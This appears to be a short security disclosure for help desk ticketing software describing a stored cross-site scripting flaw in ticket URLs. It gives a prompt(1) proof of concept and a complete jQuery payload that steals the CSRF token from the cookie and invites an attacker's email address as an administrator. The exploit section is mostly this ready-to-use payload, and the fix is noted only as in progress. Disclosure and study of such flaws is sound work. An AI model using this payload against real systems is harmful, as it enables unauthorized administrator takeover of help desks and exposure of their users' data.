Help desk software or your business...

======
1) Bug
======
If attacker can submit a ticket, he/she simply needs to include a malicious
Url within the the ticket.

Javascript injection then occurs via the Url that is incorrectly sanitized.

http://example.com/<script>prompt(1);</script>

===============
2) The "exploit"
===============

For a simple Proof of concept use the example above, you will see the
expected popup within the ticketing system once it's viewed.

To add an administrator use a malicious Url similar to the following...
(Make sure there are no spaces otherwise it won't be parsed correctly)

http://makthepla.net/
<script>$(document).ready(function(){$.ajax({type:"POST",url:"http://
[HOST]/staff/manage/staff/",data:"csrfmiddlewaretoken="+document.cookie.split('=')[1]+"&formtype=invite_staff&staff&first_name&last_name&email=[ATTACKER_MAIL]&bulk_emails&role=1&categories=1",success:function(data){alert("Admin-Added-POC");},error:function(data){alert("POC_FAILED");}})});</script>

where [HOST] is the location of the software
and [ATTACKER_MAIL] is the attacker's email.

Attacker will recieve a mail if it successfully executes to complete
admin addition.

The example above contains alerts simply for POC, this is the one used
in the video on my blog post.

3) Fix

Was Reported to the vendors twice,

Fix in progress...
